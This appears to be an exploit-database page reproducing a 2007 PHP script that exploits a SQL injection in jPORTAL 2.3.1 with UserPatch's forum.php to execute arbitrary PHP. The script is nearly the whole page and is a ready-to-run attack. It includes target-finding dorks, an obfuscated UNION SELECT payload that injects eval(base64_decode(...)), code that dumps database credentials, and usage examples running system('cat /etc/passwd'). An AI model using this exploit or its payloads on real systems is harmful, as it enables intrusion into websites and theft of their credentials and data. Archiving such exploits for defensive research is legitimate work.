jPORTAL 2.3.1 & UserPatch (forum.php) Remote Code Execution Exploit

🗓️ 30 Dec 2007 00:00:00Reported by RootType

jPORTAL 2.3.1 & UserPatch Remote Code Execution Exploit by irk4


                                                &amp;#65279;&lt;?php
#
#&nbsp;jPORTAL&nbsp;2.3.1&nbsp;&amp;&nbsp;UserPatch&nbsp;(forum.php)&nbsp;Remote&nbsp;PHP&nbsp;Code&nbsp;Execution&nbsp;Exploit
#
#&nbsp;author:&nbsp;irk4z[at]yahoo.pl
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://irk4z.wordpress.com
#
#
#&nbsp;dorks:&nbsp;&quot;powered&nbsp;by&nbsp;jPORTAL&nbsp;2&nbsp;&amp;&nbsp;UserPatch&quot;
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;powered&nbsp;by&nbsp;jPORTAL&nbsp;2&quot;
#
#&nbsp;greetz:&nbsp;str0ke,&nbsp;wacky,&nbsp;polish&nbsp;under&nbsp;:*
#---------------------------------------------------------------------&gt;

$host&nbsp;=&nbsp;$argv[1];
$path&nbsp;=&nbsp;$argv[2];
$phpcode&nbsp;=&nbsp;$argv[3];

$info&nbsp;=&nbsp;
&quot;\n#\n&quot;.
&quot;#&nbsp;jPORTAL&nbsp;2.3.1&nbsp;&amp;&nbsp;UserPatch&nbsp;(forum.php)&nbsp;Remote&nbsp;PHP&nbsp;Code&nbsp;Execution&nbsp;Exploit\n&quot;.
&quot;#\n&quot;.
&quot;#&nbsp;author:&nbsp;irk4z[at]yahoo.pl\n&quot;.
&quot;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://irk4z.wordpress.com\n&quot;.
&quot;#\n&quot;.
&quot;#\n&quot;.
&quot;#&nbsp;greetz:&nbsp;str0ke,&nbsp;wacky,&nbsp;polish&nbsp;under&nbsp;:*\n&quot;.
&quot;#---------------------------------------------------------------------&gt;\n&quot;;
echo&nbsp;$info;

if($argc&lt;4){
	echo&nbsp;&quot;#&nbsp;Obsluga:&nbsp;\n&quot;.
		&nbsp;&quot;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;php&nbsp;host&nbsp;path&nbsp;phpcode&nbsp;\n&quot;.
		&nbsp;&quot;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;php&nbsp;localhost&nbsp;/~jportal/&nbsp;phpinfo();&nbsp;\n&quot;.
		&nbsp;&quot;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;php&nbsp;localhost&nbsp;/~jportal/&nbsp;\&quot;system('uname&nbsp;-a');\&quot;&nbsp;\n&quot;.
		&nbsp;&quot;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;php&nbsp;localhost&nbsp;/~jportal/&nbsp;\&quot;system('cat&nbsp;/etc/passwd');\&quot;\n&quot;.
		&nbsp;&quot;#\n&quot;.		&nbsp;
		&nbsp;&quot;#&nbsp;exploit&nbsp;c0ded&nbsp;by&nbsp;irk4z&nbsp;:D&quot;;
	die;
}

$data=&quot;do=&quot;.base64_encode(base64_decode('Z2xvYmFsICRkYl9ob3N0LCAkZGJfdXNlciwgJGRiX3Bhc3MsICRkYl9uYW1lLCAkcHJlZml4OyANCmVjaG8gIlwkZGJfaG9zdCA9ICckZGJfaG9zdCc7XG4iLg0KIlwkZGJfdXNlciA9ICckZGJfdXNlcic7XG4iLg0KIlwkZGJfcGFzcyA9ICckZGJfcGFzcyc7XG4iLg0KIlwkZGJfbmFtZSA9ICckZGJfbmFtZSc7XG4iLg0KIlwkcHJlZml4ID0gJyRwcmVmaXgnO1xuXG5QSFAgQ09ERSBFWEVDVVRJT04gUkVTVUxUOlxuIjs').$phpcode);

$packet&nbsp;=&nbsp;
&quot;POST&nbsp;{$path}forum.php?cmd=as_readed&amp;category=18000/**/U%6EION/**/S%65LECT/**/1,2,0x223B6576616C286261736536345F6465636F646528245F504F53545B27646F275D29293B6469653B24746D703D22/*&nbsp;HTTP/1.0\r\n&quot;.
&quot;Host:&nbsp;{$host}\r\n&quot;.
&quot;Content-type:&nbsp;application/x-www-form-urlencoded\r\n&quot;.
&quot;Content-length:&nbsp;&quot;.strlen($data).&quot;\r\n\r\n&quot;.$data;

$wynik&nbsp;=&nbsp;send($host,&nbsp;80,&nbsp;$packet);
$tmp&nbsp;=&nbsp;strpos($wynik,&nbsp;'$db_host');
if&nbsp;(empty($tmp)){echo&nbsp;&quot;\nWystapil&nbsp;blad&nbsp;:(&nbsp;Sprawdz&nbsp;poprawnosc&nbsp;danych&nbsp;wejsciowych..\n\n#&nbsp;exploit&nbsp;c0ded&nbsp;by&nbsp;irk4z&nbsp;:D&quot;;&nbsp;}else{
	echo&nbsp;&quot;\n&quot;;
	echo&nbsp;&quot;KONFIGURACJA&nbsp;BAZY&nbsp;DANYCH:\n&quot;;
	echo&nbsp;substr($wynik,&nbsp;$tmp,&nbsp;strlen($wynik)-$tmp);
	echo&nbsp;&quot;\n\n#&nbsp;exploit&nbsp;c0ded&nbsp;by&nbsp;irk4z&nbsp;:D&quot;;
}


function&nbsp;send($host,&nbsp;$port,&nbsp;$packet)
{
&nbsp;$s&nbsp;=&nbsp;@fsockopen($host,&nbsp;$port);
&nbsp;if&nbsp;(empty($s))&nbsp;return;
&nbsp;fputs($s,&nbsp;$packet);&nbsp;$retu&nbsp;='';
&nbsp;while(!feof($s)){$retu.=fgets($s);}
&nbsp;fclose($s);
&nbsp;return&nbsp;$retu;
}
?&gt;

30 Dec 2007 00:00Current

7.1High risk

Vulners AI Score7.1

jPORTAL 2.3.1 &amp; UserPatch (forum.php) Remote Code Execution Exploit

jPORTAL 2.3.1 & UserPatch (forum.php) Remote Code Execution Exploit